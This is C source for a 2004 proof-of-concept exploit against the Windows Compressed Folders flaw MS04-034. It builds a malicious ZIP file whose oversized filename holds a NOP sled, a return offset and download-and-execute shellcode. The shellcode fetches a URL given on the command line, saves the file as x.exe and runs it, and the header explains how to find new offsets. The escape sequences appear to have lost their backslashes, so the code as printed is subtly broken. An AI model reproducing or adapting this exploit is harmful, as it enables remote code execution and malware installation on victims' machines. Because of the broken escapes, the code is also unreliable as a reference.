/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
*
* Tested under Windows XP SP0 Spanish/English
*
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
* Exploit Date: 21/10/2004
*
* Tarako - Haxorcitos.com 2004
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Greetings to: #haxorcitos, #dsr and #localhost @efnet
*
*
* How to get new offsets:
* 1) attach debugger (i.e ollydbg) to explorer.exe
* 2) open the zip file as a folder and add or move some files to it
* 3) search in the explorer.exe memory the shellcode and get the addresses
*
*/

#include <stdio.h>
#include <windows.h>

#pragma pack(1)

#define DATOS "Tarako-Haxorcitos.com"

typedef struct {
DWORD Signature; // PK.. 4 bytes (0x04034B50)
WORD VersionNeeded;
WORD GeneralPurposeFlag; // para el data descriptor y demas
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
// filename (variable size)
// extra field (variable size)
}TOPHEADER;


typedef struct { 
DWORD Signature; // PK.. 4 bytes (0x02014B50)
WORD MadeVersion;
WORD VersionNeeded;
WORD GeneralPurposeFlag; // para el data descriptor y demas
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
WORD FileCommentLength;
WORD DiskNumberStart;
WORD InternalFileAttributes;
DWORD ExternalFileAttributes;
DWORD RelativeOffsetOfLocalHeader;
// filename (variable size)
// extra field (variable size)
// file comment (variable size)
}MIDDLEHEADER;

typedef struct {
DWORD Signature; // PK.. 4 bytes (0x06054B50)
WORD NumOfThisDisk;
WORD NumDisckStartCentralDirectory;
WORD NumEntriesCentralDirOnThisDisk;
WORD TotalNumEntriesCentralDir;
DWORD SizeCentralDirectory;
DWORD OffsetCentraDirRespectStartDiskNum;
WORD ZipCommentLength;
// zipfile comment (variable size)
}BOTTOMHEADER;

/*
* download shellcode - RaiSe - raise@netsearch-ezine.com
*/
char shellcode1[] =
"xEBx5Dx5Fx8BxF7x80x3F"
"x08x75x03x80x37x08x47x80x3Fx01x75xF2x33xC9xB5x05x8BxFEx2BxF9"
"x8BxEFxB5x03x2BxF9x8BxD7xB2x7Cx8BxE2x89x75xFCxB5x40xC1xE1x08"
"x89x4DxF8x8Dx49x3Cx8Bx09x03x4DxF8x8Dx49x7Fx41x8Bx09x03x4DxF8"
"x8BxD9x8Bx49x0Cx03x4DxF8x81x39x4Bx45x52x4Ex74x07x8Dx5Bx14x8B"
"xCBxEBxEBx33xC0x53xEBx02xEBx7Cx8Bx33x03x75xF8x80x7Ex03x80x74"
"x14x8Bx3Ex03x7DxF8x47x47x56x8Bx75xFCx33xC9xB1x0DxF3xA6x5Ex74"
"x06x40x8Dx76x04xEBxE0x5Bx8Bx5Bx10x03x5DxF8xC1xE0x02x03xD8x8B"
"x03x89x45xF4x8Bx5DxFCx8Dx5Bx0Dx53xFFxD0x89x45xF0x8Dx5Bx09x53"
"x8Bx45xF4xFFxD0x89x45xECx8Bx45xF0x8Bx40x3Cx03x45xF0x8Bx40x78"
"x03x45xF0x89x45xE8x8Bx40x20x03x45xF0x8Dx7Bx08x33xD2x57x8Bx30"
"x03x75xF0x33xC9xB1x0FxF3xA6x74x0Bx5FxEBx02xEBx7Ax42x8Dx40x04"
"xEBxE7x8Bx5DxE8x33xC9x53x5Fx8Bx7Fx24x03x7DxF0xD1xE2x03xFAx66"
"x8Bx0Fx8Bx5Bx1Cx03x5DxF0xC1xE1x02x03xD9x8Bx1Bx03x5DxF0x89x5D"
"xE4x8Bx55xFCx8Dx52x2Dx8Dx7DxE0x33xC9xB1x06x51x52x52x8Bx75xF0"
"x56xFCxFFxD3xFDxABx5Ax59x38x2Ax74x03x42xEBxF9x42xE2xE8xB1x04"
"x51x52x52x8Bx75xECx56xFCxFFxD3xFDxABx5Ax59x38x2Ax74x03x42xEB"
"xF9x42xE2xE8xFCx52x33xD2xB6x1FxC1xE2x08x52x33xD2xEBx02xEBx7C"
"x52x8Bx45xD8xFFxD0x5Bx89x45xB8x33xD2x52x52x52x52x53x8Bx45xC8"
"xFFxD0x89x45xB4x8Dx7Bx08x33xD2x52xB6x80xC1xE2x10x52x33xD2x52"
"x52x57x50x8Bx45xC4xFFxD0x89x45xB0x8Dx55xACx52x33xD2xB6x1FxC1"
"xE2x08x52x8Bx4DxB8x51x50x8Bx45xC0xFFxD0x8Bx4DxB0x51x8Bx45xBC"
"xFFxD0x8Bx4DxB4x51x8Bx45xBCxFFxD0x33xD2x52x43x43x53x8Bx45xE0"
"xFFxD0x89x45xA8x8Bx7DxACx57x8Bx55xB8x52x50x8Bx45xDCxFFxD0x8B"
"x55xA8xEBx02xEBx17x52x8Bx45xD4xFFxD0x33xD2x52x53x8Bx45xD0xFF"
"xD0x33xD2x52x8Bx45xCCxFFxD0xE8x0DxFExFFxFFx4Cx6Fx61x64x4Cx69"
"x62x72x61x72x79x41x08x4Bx45x52x4Ex45x4Cx33x32x08x57x49x4Ex49"
"x4Ex45x54x08x47x65x74x50x72x6Fx63x41x64x64x72x65x73x73x08x5F"
"x6Cx63x72x65x61x74x08x5Fx6Cx77x72x69x74x65x08x47x6Cx6Fx62x61"
"x6Cx41x6Cx6Cx6Fx63x08x5Fx6Cx63x6Cx6Fx73x65x08x57x69x6Ex45x78"
"x65x63x08x45x78x69x74x50x72x6Fx63x65x73x73x08x49x6Ex74x65x72"
"x6Ex65x74x4Fx70x65x6Ex41x08x49x6Ex74x65x72x6Ex65x74x4Fx70x65"
"x6Ex55x72x6Cx41x08x49x6Ex74x65x72x6Ex65x74x52x65x61x64x46x69"
"x6Cx65x08x49x6Ex74x65x72x6Ex65x74x43x6Cx6Fx73x65x48x61x6Ex64"
"x6Cx65x08x72x08x78x2Ex65x78x65x08";
char shellcode2[] ="x08x01";

char offset[]="x41x41x41x41";
char jmpbelow[]= "xebx06x90x90";

int main(int argc,char *argv[]) {

FILE *ZipFile;
TOPHEADER *Cabecera1;
MIDDLEHEADER *Cabecera2;
BOTTOMHEADER *Cabecera3;

DWORD c;
UINT i;
char *filename;
char *url;

printf("n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
printf("n Tarako - Tarako[AT]Haxorcitos.comn");

if (argc!=2) {
printf("nn Usage: %s <URL> n",argv[0]);
exit(1);
}

url=argv[1];
printf("n * URL: %s",url);


if (!(ZipFile=fopen("prueba.zip","w+b"))) {
printf("n [E] fopen()");
exit(1);
}

c=0x8000; // filename length
filename=(char*)malloc(sizeof(char)*c); 
memset(filename,0,sizeof(filename));

for( i=0x0;i<c;i++) filename[i]=(BYTE)0x90;

memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
memcpy(filename+0x1818,offset,strlen(offset));

memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);

memcpy(filename+(c-4),".txt",4);

Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
memset(Cabecera1,0,sizeof(TOPHEADER));
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
memset(Cabecera3,0,sizeof(BOTTOMHEADER)); 

///////////////////////////////////////////////////////////////////
// TOPHEADER
///////////////////////////////////////////////////////////////////
Cabecera1->Signature=0x04034B50; // DWORD
Cabecera1->VersionNeeded=0x000A; // WORD
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
Cabecera1->CompressionMethod=0x0000; // WORD
Cabecera1->ModFileTime=0x1362; // WORD
Cabecera1->ModFileDate=0x3154; // WORD
Cabecera1->Crc32=0x85B36639; // DWORD
Cabecera1->CompressedSize=0x00000015; // DWORD
Cabecera1->UncompressedSize=0x00000015; // DWORD
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
Cabecera1->ExtraFieldLength=0x0000; // WORD
///////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////
// MIDDLEHEADER
///////////////////////////////////////////////////////////////////
Cabecera2->Signature=0x02014B50; // DWORD
Cabecera2->MadeVersion=0x0014; // WORD
Cabecera2->VersionNeeded=0x000A; // WORD
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
Cabecera2->CompressionMethod=0x0000; // WORD
Cabecera2->ModFileTime=0x1362; // WORD
Cabecera2->ModFileDate=0x3154; // WORD
Cabecera2->Crc32=0x85B36639; // DWORD
Cabecera2->CompressedSize=0x00000015; // DWORD
Cabecera2->UncompressedSize=0x00000015; // DWORD
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
Cabecera2->ExtraFieldLength=0x0000; // WORD
Cabecera2->FileCommentLength=0x0000; // WORD
Cabecera2->DiskNumberStart=0x0000; // WORD
Cabecera2->InternalFileAttributes=0x0001; // WORD
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
///////////////////////////////////////////////////////////////////

///////////////////////////////////////////////////////////////////
// BOTTOMHEADER
///////////////////////////////////////////////////////////////////
Cabecera3->Signature=0x06054B50; // DWORD
Cabecera3->NumOfThisDisk=0x0000; // WORD
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 
Cabecera3->ZipCommentLength=0x0000; // WORD
///////////////////////////////////////////////////////////////////

fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);

fwrite(filename, c, 1,ZipFile); 
fwrite(DATOS,strlen(DATOS),1,ZipFile);

fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
fwrite(filename, c, 1,ZipFile); 
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);

fclose(ZipFile);
printf("n * prueba.zip createdn");
return 1;
}

// www.Syue.com [2004-11-19]